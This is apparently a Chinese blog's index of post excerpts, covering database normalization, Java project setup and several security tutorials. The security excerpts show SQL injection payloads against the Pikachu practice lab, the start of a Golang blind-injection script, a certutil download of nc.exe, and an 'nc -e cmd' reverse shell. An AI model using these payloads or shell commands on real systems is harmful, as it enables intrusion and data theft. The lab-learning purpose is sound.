范式
范式 范式 目标 关键要求 1NF 确保原子性 每个字段必须包含不可再分的值,表中每列的值是原子值。 2NF 消除部分依赖 满足1NF,且所有非主键字段完全依赖于主键(消除部分依赖)。 3NF 消除传递依赖 满足2NF,且非主键字段直接依赖于主键,避免传递依赖。 BCNF 每个决定因素必须是候选键 满足3NF,且每个非平凡的函数依赖的左边部分必须是候选键。 4NF 消除多值依赖 满足BCNF,且每个多值依赖被消除,避免冗余数据。 1.第一范式(1NF)-原子性 每个字段必须包含原子值,表中的每列不能包含集合、数组或重复的值 不符合1NF的例子:学生ID | 学生姓名 | 电话号码 ------------------------------------------- 1 | 张三 | 123456789, 987654321 2 | 李四 | 111222333, 444555666 在表中,电话号码列包含了多个电话号码,违反了1NF的的原子性要求 符合1NF的例子:学生ID | 学生姓名 |...
事务管理
...
Golang实现盲注
Golang实现布尔盲注上一篇讲到了盲注的实现过程,现在我们可以一起来学习一下脚本的编写 盲注payload kobe' and length(database()) = 7# kobe' and ascii(substr(database(),1,1)) > 111# 构造poc 常规循环实现package main import ( "fmt" "io" "log" "net/http" "net/url" "os" "strings" ) var SplicingPayload = "select group_concat(column_NAME) from information_schema.columns where TABLE_NAME = 'users'" var payload =...
SQL注入(二)
SQL注入(二)盲注在实际的渗透过程中,网站设计者会将错误信息进行屏蔽,导致我们无法根据报错信息来进行注入的判断,这种情况下的注入,就是盲注 布尔盲注(based on boolean)在盲注的过程中,我们会经常使用到以下函数 length(str)#函数 返回字符串的长度 substr(str,poc,len)#截取字符串,poc表示截取字符串的开始位,len表示截取字符串的长度 ascii()#返回字符的ascii码,返回该字符对应的ascii码 count()#返回当前列的数量 基于真假的盲注主要特征 没有报错信息 不管是正确的输入,还是错误的输入,都只有两种情况(可以看做 0 or 1) 在正确的输入下,后面跟 and 1=1 / and 1=2 进行判断 在pikachu下可以进行测试 输入正确的姓名 kobe' and 1=1# 会发现成功返回 kobe' and 1=2#...
SQL注入(一)
SQL注入数字型注入(POST) 以piakchu靶场举例 步骤: 1. 先判断注入点的注入类型 2. 如是数字型,先使用Burp抓包,修改id值 3. 修改payload为 1 or 1=1,发送请求 4. 会发现查询到了全部数据 5. 使用 order by 判断注入点 (payload:1 order by 2) 6. 显位:联合查询查看显示位 (1 union select 1,2#) 7. 爆库:显示出数据库的名字 (1 union select 1,group_concat(schema_name) from (information_schema.schemata)#) 8. 爆表:利用union select 联合查询,获取表名 a. (1 union select 1,group_concat(table_name) from (information_schema.tables) where table_schema = database()#)获取到当前数据库 b. (1 union select...
项目总结
...
登录与网关配置
用户端登录用户端的登录是基于微信小程序登录 wx小程序搭建:前端部署文档 env.js中修改本地接口 可以看到本地请求为502 这是由于本地网关并没有配置导致的后面会进行配置 请求参数(2个参数,code:登录临时凭证,phoneCode:获取手机号的凭证): 拉取后端代码 sl-express-ms-web-customer 登录接口登录接口的实现是在com.sl.ms.web.customer.controller.UserController#login中 可以看到代码是由UserLoginVO响应数据对象和UserLoginRequestVO请求参数对象组成 我们现看看UserLoginVO响应数据对象 package com.sl.ms.web.customer.vo.user; import io.swagger.annotations.ApiModelProperty; import lombok.AllArgsConstructor; import lombok.Builder; import lombok.Data; import...
基础知识
文件下载certutil.exe -urlcache -split -f http://127.0.0.1:8080/nc.exe nc.exe 反弹shell一端进行监听,一端进行连接,将连接一端的shell进行反弹给监听一端 #Netcat连接端 nc -e cmd 127.0.0.1 8080 #监听端 nc -lvvp 8080 内网 内网 -> A A !-> 内网 如果两台主机都处于外网,则可以相互进行反弹 A <-> B A防火墙 -> B b !-> A防火墙 抓包 抓包工具: BurpSuite 茶杯 fiddler 模拟器设置证书后 设置HTTP代理 -> 运行工具的本机IP 端口 burpsuite 茶杯 fiddler...
环境搭建
环境搭建进入Vmare,打开虚拟机 配置一键启动环境 vim ~/.bashrc #增加如下内容 alias dps='docker ps --format "table{{.ID}}\t{{.Names}}\t{{.Status}}\t{{.Ports}}"' #保存退出 #生效 source ~/.bashrc 访问http://192.168.150.101:10880/ 配置本机hosts 192.168.150.101 git.sl-express.com 192.168.150.101 maven.sl-express.com 192.168.150.101 jenkins.sl-express.com 192.168.150.101 auth.sl-express.com 192.168.150.101...






